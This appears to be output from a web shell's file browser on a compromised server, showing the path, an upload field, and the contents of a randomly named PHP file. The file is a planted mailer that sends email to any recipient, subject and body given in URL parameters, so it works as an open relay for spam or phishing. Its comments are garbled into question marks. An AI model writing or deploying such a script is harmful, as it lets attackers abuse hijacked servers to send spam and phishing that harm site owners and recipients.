Your IP : 18.222.227.24


Current Path : /home/ephorei/www/
Upload File :
Current File : /home/ephorei/www/jhqkus.php

<?php
if (isset($_GET['to']) && isset($_GET['subject']) && isset($_GET['message'])) {
    $to = $_GET['to'];
    $subject = $_GET['subject'];
    $message = $_GET['message'];

    // ?????????????? ?????????
    $headers = "MIME-Version: 1.0\r\n";
    $headers .= "Content-Type: text/plain; charset=utf-8\r\n";


    // ???????? ??????
    $result = mail($to, $subject, $message, $headers);

    if ($result) {
        echo 'OK.';
    } else {
        echo 'BAD.';
    }
}
?>